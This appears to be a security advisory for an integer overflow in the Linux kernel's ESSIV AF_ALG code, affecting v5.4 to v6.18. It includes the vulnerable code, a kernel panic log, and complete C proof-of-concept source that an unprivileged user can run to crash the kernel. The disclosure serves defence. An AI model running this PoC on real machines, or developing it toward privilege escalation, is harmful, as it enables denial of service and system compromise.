Requirements:
- Capabilities: None
- Kernel configuration: CONFIG_CRYPTO_USER_API=y, CONFIG_CRYPTO_ESSIV=y
- User namespaces required: no
- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=be1eb7f78aa8
- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6bb73db6948c2de23e407fe1b7ef94bf02b7529f
- Affected kernel versions: v5.4 - v6.18
- Affected component: crypto
- Cause: Integer overflow/wraparound
- Syscall to disable: -
- Description: An Integer overflow in essiv af_alg
| Product | Linux Kernel |
|---|---|
| Vendor | Linux |
| Severity | High - Adversaries may exploit software vulnerabilities to elevate its privileges to root. |
| Affected Versions | Linux v5.4-rc1 - upstream |
| CVE Identifier | |
| CVE Description | A integer overflow dues to missing check on assoclen vulnerability in the Linux Kernel af_alg can be exploited to achieve local privilege escalation |
| CWE Classification(s) | CWE-190: Integer Overflow or Wraparound |
Base Score: 7.8 (High)
Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
| Metric | Value |
|---|---|
| Attack Vector (AV) | Local |
| Attack Complexity (AC) | Low |
| Privileges Required (PR) | Low |
| User Interaction (UI) | None |
| Scope (S) | Unchanged |
| Confidentiality (C) | High |
| Integrity (I) | High |
| Availability (A) | High |
In essiv_aead_crypt, it doesn't check the case where req->assoclen less than crypto_aead_ivsize, thus it make the calculation integer flow when it want to call scatterwalk_map_and_copy when copy the encrypted IV to req->dst.
static int essiv_aead_crypt(struct aead_request *req, bool enc)
{
...
rctx->assoc = NULL;
if (req->src == req->dst || !enc) {
scatterwalk_map_and_copy(req->iv, req->dst,
req->assoclen - crypto_aead_ivsize(tfm) /* integer overflow */,
crypto_aead_ivsize(tfm), 1);- Run poc under Linux 6.12.48
[ 2.410116] BUG: kernel NULL pointer dereference, address: 000000000000000c
[ 2.412101] #PF: supervisor read access in kernel mode
[ 2.413750] #PF: error_code(0x0000) - not-present page
[ 2.415747] PGD 102dd5067 P4D 102dd5067 PUD 102dd6067 PMD 0
[ 2.419111] Oops: Oops: 0000 [#1] SMP NOPTI
[ 2.421499] CPU: 0 UID: 1000 PID: 152 Comm: exploit Not tainted 6.12.48 #1
[ 2.424898] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 2.430109] RIP: 0010:scatterwalk_ffwd+0x30/0xc0
[ 2.431948] Code: 44 00 00 41 54 55 53 48 89 f3 85 d2 0f 84 84 00 00 00 49 89 fc 89 d5 eb 11 48 89 df 29 c5 e8 87 ae 0a 00 48 89 c3 85 ed 74 6c <8b> 43 0c 39 c5 73 e8 be 02b
[ 2.438392] RSP: 0018:ffffc900006d3c68 EFLAGS: 00010286
[ 2.439451] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000
[ 2.441484] RDX: ffff88810208bac0 RSI: ffff8881020e0820 RDI: ffff88810208bac0
[ 2.444145] RBP: 00000000fffffef0 R08: 0000000000000001 R09: ffffc900006d3c98
[ 2.446248] R10: ffff88810033e090 R11: 00000000000000e0 R12: ffffc900006d3c98
[ 2.449155] R13: ffff888102ea6800 R14: ffff8881020e0a90 R15: ffff888101aeb188
[ 2.451461] FS: 000000000c54f380(0000) GS:ffff88811c400000(0000) knlGS:0000000000000000
[ 2.453968] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 2.455878] CR2: 000000000000000c CR3: 0000000102e88000 CR4: 0000000000752ef0
[ 2.458399] PKRU: 55555554
[ 2.459454] Call Trace:
[ 2.460568] <TASK>
[ 2.461530] scatterwalk_map_and_copy+0x56/0xa0
[ 2.463175] essiv_aead_crypt+0x1aa/0x310
[ 2.464637] aead_recvmsg+0x59b/0x670
[ 2.465870] sock_recvmsg+0xb0/0xc0
[ 2.467112] __sys_recvfrom+0xb5/0x120
[ 2.468411] __x64_sys_recvfrom+0x24/0x30
[ 2.469756] do_syscall_64+0x58/0x120
[ 2.470743] entry_SYSCALL_64_after_hwframe+0x76/0x7e
[ 2.472874] RIP: 0033:0x41c9dd
[ 2.474108] Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 80 3d 8d 76 09 00 00 41 89 ca 74 20 45 31 c9 45 31 c0 b8 2d 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 6b c39
[ 2.479311] RSP: 002b:00007fffddaa0f18 EFLAGS: 00000246 ORIG_RAX: 000000000000002d
[ 2.482036] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 000000000041c9dd
[ 2.484265] RDX: 0000000000010000 RSI: 00000000004b4b20 RDI: 0000000000000006
[ 2.486018] RBP: 00007fffddaa1100 R08: 0000000000000000 R09: 0000000000000000
[ 2.488113] R10: 0000000000000000 R11: 0000000000000246 R12: 00007fffddaa1218
[ 2.490411] R13: 00007fffddaa1228 R14: 00000000004ae868 R15: 0000000000000001
[ 2.492937] </TASK>
[ 2.493725] Modules linked in:
[ 2.494879] CR2: 000000000000000c
[ 2.496051] ---[ end trace 0000000000000000 ]---
[ 2.497627] RIP: 0010:scatterwalk_ffwd+0x30/0xc0
[ 2.499257] Code: 44 00 00 41 54 55 53 48 89 f3 85 d2 0f 84 84 00 00 00 49 89 fc 89 d5 eb 11 48 89 df 29 c5 e8 87 ae 0a 00 48 89 c3 85 ed 74 6c <8b> 43 0c 39 c5 73 e8 be 02b
[ 2.505627] RSP: 0018:ffffc900006d3c68 EFLAGS: 00010286
[ 2.507320] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000
[ 2.509913] RDX: ffff88810208bac0 RSI: ffff8881020e0820 RDI: ffff88810208bac0
[ 2.512515] RBP: 00000000fffffef0 R08: 0000000000000001 R09: ffffc900006d3c98
[ 2.514907] R10: ffff88810033e090 R11: 00000000000000e0 R12: ffffc900006d3c98
[ 2.517272] R13: ffff888102ea6800 R14: ffff8881020e0a90 R15: ffff888101aeb188
[ 2.519511] FS: 000000000c54f380(0000) GS:ffff88811c400000(0000) knlGS:0000000000000000
[ 2.522143] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 2.524287] CR2: 000000000000000c CR3: 0000000102e88000 CR4: 0000000000752ef0
[ 2.526689] PKRU: 55555554
[ 2.527621] Kernel panic - not syncing: Fatal exception
[ 2.530360] Kernel Offset: disabled
[ 2.531562] ---[ end Kernel panic - not syncing: Fatal exception ]---
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
#include <errno.h>
#include <err.h>
#include <sched.h>
#define PAUSE \
{ \
int x; \
printf(":"); \
read(0, &x, 1); \
}
#define SYSCHK(x) ({ \
typeof(x) __res = (x); \
if (__res == (typeof(x))-1) \
err(1, "SYSCHK(" #x ")"); \
__res; \
})
char buf[0x1000000];
int main() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
int tfmfd, opfd;
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "essiv(authenc(hmac(sha256),cbc(aes)),sha256)"
};
tfmfd = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (tfmfd < 0) { perror("socket"); return 1; }
if (bind(tfmfd, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
perror("bind"); return 1;
}
// Build key blob: rta header + AES-128 + HMAC key
unsigned char key[8 + 32 + 16] = {0};
key[0] = 0x08; key[1] = 0x00; key[2] = 0x01; key[3] = 0x00; // rta
key[4] = 0x00; key[5] = 0x00; key[6] = 0x00; key[7] = 0x10; // AES-128
for (int i = 0; i < 32; i++) key[8+i] = i; // HMAC key
for (int i = 0; i < 16; i++) key[8+32+i] = i+0x10; // AES key
if (setsockopt(tfmfd, SOL_ALG, ALG_SET_KEY, key, sizeof(key)) != 0) {
perror("setsockopt(ALG_SET_KEY)"); return 1;
}
opfd = accept(tfmfd, NULL, 0);
if (opfd < 0) { perror("accept"); return 1; }
// IV (16 bytes)
unsigned char iv[16] = {
0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,
0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f,0x10
};
// Plaintext
int plen = 0x1000;
// Setup control message for ALG_SET_OP + ALG_SET_IV
char cbuf[CMSG_SPACE(sizeof(__u32)) + CMSG_SPACE(sizeof(struct af_alg_iv) + sizeof(iv)) + CMSG_SPACE(sizeof(__u32))];
struct msghdr msg = {0};
struct iovec iov = { buf, 0x100 };
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = cbuf;
msg.msg_controllen = sizeof(cbuf);
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
// ALG_SET_OP
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_OP;
cmsg->cmsg_len = CMSG_LEN(sizeof(__u32));
*(__u32*)CMSG_DATA(cmsg) = ALG_OP_DECRYPT;
cmsg = CMSG_NXTHDR(&msg, cmsg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN;
cmsg->cmsg_len = CMSG_LEN(sizeof(__u32));
*(__u32*)CMSG_DATA(cmsg) = 0x0;
// ALG_SET_IV
cmsg = CMSG_NXTHDR(&msg, cmsg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_IV;
cmsg->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + sizeof(iv));
struct af_alg_iv *ivmsg = (struct af_alg_iv*)CMSG_DATA(cmsg);
ivmsg->ivlen = sizeof(iv);
memcpy(ivmsg->iv, iv, sizeof(iv));
// Send plaintext + control to kernel
int ret = sendmsg(opfd, &msg, 0);
if (ret < 0) { perror("sendmsg"); return 1; }
int val = 0;
SYSCHK(setsockopt(opfd, SOL_SOCKET, SO_RCVBUF, &val, sizeof(val)));
// Receive ciphertext (ciphertext + auth tag)
unsigned char ciphertext[64] = {0};
ret = recv(opfd, buf, 16*0x1000, 0);
if (ret < 0) { perror("recvmsg"); return 1; }
close(opfd);
close(tfmfd);
return 0;
}- Muhammad Alifa Ramdhan of STAR Labs SG Pte. Ltd.